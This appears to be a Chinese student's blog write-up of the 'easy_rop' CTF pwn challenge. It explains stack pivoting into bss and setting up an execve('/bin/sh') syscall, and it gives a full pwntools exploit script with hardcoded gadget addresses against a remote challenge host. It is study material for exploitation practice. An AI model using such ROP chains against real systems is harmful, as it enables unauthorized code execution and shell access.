rrroyal’s blog

要做最优秀的,冲冲冲~~

0%

easyrop不easy

费脑子的rop

前言

我还是太菜了,百度,wiki加学长指导还花了好几个小时才做出来easy_rop。。恶补了一波知识点。等我什么时候可以一个人不依靠其他做出来pwn才算入门呢。。。

Step 0x01

一拿到这个题啊,名字是easy_rop,就是一道简单的rop链(我呸),有了基本思路就直接先checksec一下。

是64位程序就丢到IDA64里,开了NA,其他保护没开。

Step 0x02

第一个read函数读取了0x58个字符到name指向的内存就是bss段内存,然后可以看到bss段分配了非常大的内存空间,我们完全可以在这里建立rop链。

同时看到main函数中的提示是系统调用函数,调用execve函数执行/bin/sh。而execve函数的系统调用号是59,就要让$rax的值变为0x3b即可。同时在搜索pop|ret |rax命令并没有找的的情况下,我们利用rax保存函数的返回值这个知识点,利用read函数的返回值将rax的值变为0x3b即可。

Step 0x03

那接下来我们就要考虑execve函数的几个参数的值,第一个参数是rdi,第二个是rsi第三个是rdx。我们要使execve(‘/bin/sh’,NULL,NULL)即可。

之后我们就在第一次输入时构造rop。因为bss段完全可以放下rop链所以我们直接使用通用rop。

脚本如下

1
2
3
4
5
from pwn import*
p = remote('106.15.177.94',10055) #p = process('./babyrop')
p.recvuntil(',user\n')
p.send('/bin/sh\x00'+p64(0x40087a)+p64(0)+p64(0)+p64(0x6010e8)+p64(0)+p64(0)+p64(0x6010a0)+p64(0x400860)+p64(0x40078a)) #构造rop链并且使rdx和rsi的值变为0了

Step 0x04

rop好了以后就要考虑如何让程序执行我们写在bss上的rop链。这里要用到花式栈溢出里的劫持栈指针。可以参考CTFwiki里的相关内容。这里我们劫持栈指针rsp直接指向bss这里执行我们的命令。

我们在0x400815处有leave retn命令,就直接拿来用。先把rop链的起始地址压到栈里成为rbp的值,在用leave retn指令将rbp的值给到rsp栈指针,这样程序就会从bss处开始执行我们写入的指令。脚本如下

1
2
p.recvuntil('about it?\n')
p.send('a'*32+p64(0x6010a0)+p64(0x400815)+'a'*11)

Step 0x05

这样完整的脚本就写出来了。

1
2
3
4
5
6
7
8
from pwn import*
p = remote('106.15.177.94',10055)
p.recvuntil(',user\n')
p.send('/bin/sh\x00'+p64(0x40087a)+p64(0)+p64(0)+p64(0x6010e8)+p64(0)+p64(0)+p64(0x6010a0)+p64(0x400860)+p64(0x40078a))
p.recvuntil('about it?\n')
p.send('a'*32+p64(0x6010a0)+p64(0x400815)+'a'*11)
p.interactive()

之后就可以得到shell获取flag啦啦啦。

全文结束,希望有看到的大佬能指点我的错误。太难了太难了,我啥也不会

-------------本文结束感谢您的阅读-------------